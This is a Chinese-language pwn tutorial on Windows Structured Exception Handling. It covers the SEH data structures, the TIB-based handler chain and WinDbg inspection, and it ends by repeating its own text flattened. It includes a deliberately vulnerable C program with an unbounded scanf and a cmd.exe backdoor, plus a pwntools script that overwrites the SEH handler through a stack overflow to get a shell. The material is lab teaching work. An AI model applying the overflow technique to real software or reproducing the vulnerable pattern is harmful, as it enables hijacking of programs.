win pwn初探(四)
字数 1089 2025-08-25 22:58:40

Windows SEH (结构化异常处理) 深入解析

1. SEH 基础概念

结构化异常处理(Structured Exception Handling, SEH)是Windows操作系统提供的一种错误或异常处理技术,用于处理异常事件的程序控制结构。

在代码中表现为:

__try, __except, __finally

2. SEH 结构解析

2.1 SEH 在程序中的表现

通过IDA分析可以看到SEH处理函数的注册:

.text:004119B0 push offset __except_handler4
.text:004119BF mov eax, large fs:0

2.2 SEH 相关数据结构

_EXCEPTION_DISPOSITION

_EXCEPTION_DISPOSITION _except_handler4(
    _EXCEPTION_RECORD *,
    _EXCEPTION_REGISTRATION_RECORD *,
    _CONTEXT *,
    void *
)

_EXCEPTION_RECORD

struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;      // 异常类型
    DWORD ExceptionFlags;      // 异常标志
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;   // 发生异常的代码地址
    DWORD NumberParameters;
    DWORD ExceptionInformation[15];
};

_EXCEPTION_REGISTRATION_RECORD

struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;  // 指向下一个结构的指针
    PEXCEPTION_ROUTINE Handler;                   // 当前异常处理回调函数的地址
};

_CONTEXT

struct _CONTEXT {
    DWORD ContextFlags;
    DWORD Dr0-Dr7;
    _FLOATING_SAVE_AREA FloatSave;
    DWORD SegGs, SegFs, SegEs, SegDs;
    DWORD Edi, Esi, Ebx, Edx, Ecx, Eax;
    DWORD Ebp, Eip, SegCs, EFlags, Esp, SegSs;
    BYTE ExtendedRegisters[512];
};

3. SEH 工作机制

3.1 TIB/TEB 结构

TIB (Thread Information Block) 或 TEB (Thread Environment Block) 是保存线程基本信息的数据结构:

struct _NT_TIB {
    PEXCEPTION_REGISTRATION_RECORD ExceptionList;  // 指向当前线程的SEH
    PVOID StackBase;                               // 栈底
    PVOID StackLimit;                              // 栈顶
    PVOID SubSystemTib;                            // 子系统
    PVOID FiberData;
    DWORD Version;
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;                          // 指向自己
};

3.2 SEH 链工作原理

  1. TIB的第一个字段保存了SEH链表的头部指针
  2. SEH链表中其他节点存储在栈中
  3. 当Next成员的值为0xFFFFFFFF时表示最后一个节点
  4. 发生异常时会按顺序依次传递,直到有异常处理器处理

4. SEH 利用技术

4.1 基本利用原理

通过攻击程序的异常处理机制:

  1. 触发一个异常
  2. 程序转入异常处理
  3. 覆盖异常处理函数指针
  4. 劫持SEH控制程序流

4.2 实际利用示例

示例程序:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

void backdoor() {
    system("cmd.exe");
}

int main(int argc, char **argv) {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    int x = 100;
    int y = 0;
    int z;
    char tmp[0x20];
    
    _try {
        printf("0x%p\n", backdoor);
        scanf("%s", tmp);
        z = x / y;  // 触发除零异常
    }
    _except(1) {
        printf("seh");
    }
    return 0;
}

利用步骤:

  1. 找到_except_handler4在栈上的位置(通常在EBP-0xC处)
  2. 通过栈溢出覆盖handler
  3. 即使开启GS保护也可能被利用,因为异常处理先于安全检查

4.3 利用代码示例

Python利用脚本:

from pwn import *
context.log_level = 'debug'

r = remote('192.168.10.106', 1234)
r.recvuntil('0x')
backdoor_addr = int(r.recv(8), 16)

payload = b'a' * (0x64 - 0xc) + p32(backdoor_addr)
r.sendline(payload)
r.interactive()

4.4 利用技巧

  1. 不需要特定的异常类型,任何异常都可以触发
  2. 即使移除除零异常,通过内存损坏等异常也能触发
  3. 实际利用中可能会遇到需要点击"重试"的情况

5. 防御机制

Windows后来引入了两种加固技术:

  1. SAFESEH
  2. SEHOP

这些将在后续文档中详细讲解。

6. 调试技巧

使用WinDbg调试SEH:

  1. 在程序头下断点
  2. 查看异常处理函数地址
  3. 使用dt命令查看结构体定义
  4. 检查TIB/SEH链

示例命令:

0:000> dt 0x141F80 _except_handler4
0:000> dt _EXCEPTION_RECORD
0:000> dt _NT_TIB

7. 关键点总结

  1. SEH是Windows异常处理的核心机制
  2. SEH链存储在栈中,通过TIB的第一个字段访问
  3. 通过覆盖SEH handler可以劫持程序流
  4. 利用时不需要特定类型的异常
  5. 原始SEH机制容易受到攻击,促使微软开发了SAFESEH和SEHOP

8. 参考资源

  • 《逆向工程核心原理》
  • Microsoft官方文档
  • WinDbg调试工具文档
Windows SEH (结构化异常处理) 深入解析 1. SEH 基础概念 结构化异常处理(Structured Exception Handling, SEH)是Windows操作系统提供的一种错误或异常处理技术,用于处理异常事件的程序控制结构。 在代码中表现为: 2. SEH 结构解析 2.1 SEH 在程序中的表现 通过IDA分析可以看到SEH处理函数的注册: 2.2 SEH 相关数据结构 _ EXCEPTION_ DISPOSITION _ EXCEPTION_ RECORD _ EXCEPTION_ REGISTRATION_ RECORD _ CONTEXT 3. SEH 工作机制 3.1 TIB/TEB 结构 TIB (Thread Information Block) 或 TEB (Thread Environment Block) 是保存线程基本信息的数据结构: 3.2 SEH 链工作原理 TIB的第一个字段保存了SEH链表的头部指针 SEH链表中其他节点存储在栈中 当Next成员的值为0xFFFFFFFF时表示最后一个节点 发生异常时会按顺序依次传递,直到有异常处理器处理 4. SEH 利用技术 4.1 基本利用原理 通过攻击程序的异常处理机制: 触发一个异常 程序转入异常处理 覆盖异常处理函数指针 劫持SEH控制程序流 4.2 实际利用示例 示例程序: 利用步骤: 找到 _except_handler4 在栈上的位置(通常在EBP-0xC处) 通过栈溢出覆盖handler 即使开启GS保护也可能被利用,因为异常处理先于安全检查 4.3 利用代码示例 Python利用脚本: 4.4 利用技巧 不需要特定的异常类型,任何异常都可以触发 即使移除除零异常,通过内存损坏等异常也能触发 实际利用中可能会遇到需要点击"重试"的情况 5. 防御机制 Windows后来引入了两种加固技术: SAFESEH SEHOP 这些将在后续文档中详细讲解。 6. 调试技巧 使用WinDbg调试SEH: 在程序头下断点 查看异常处理函数地址 使用 dt 命令查看结构体定义 检查TIB/SEH链 示例命令: 7. 关键点总结 SEH是Windows异常处理的核心机制 SEH链存储在栈中,通过TIB的第一个字段访问 通过覆盖SEH handler可以劫持程序流 利用时不需要特定类型的异常 原始SEH机制容易受到攻击,促使微软开发了SAFESEH和SEHOP 8. 参考资源 《逆向工程核心原理》 Microsoft官方文档 WinDbg调试工具文档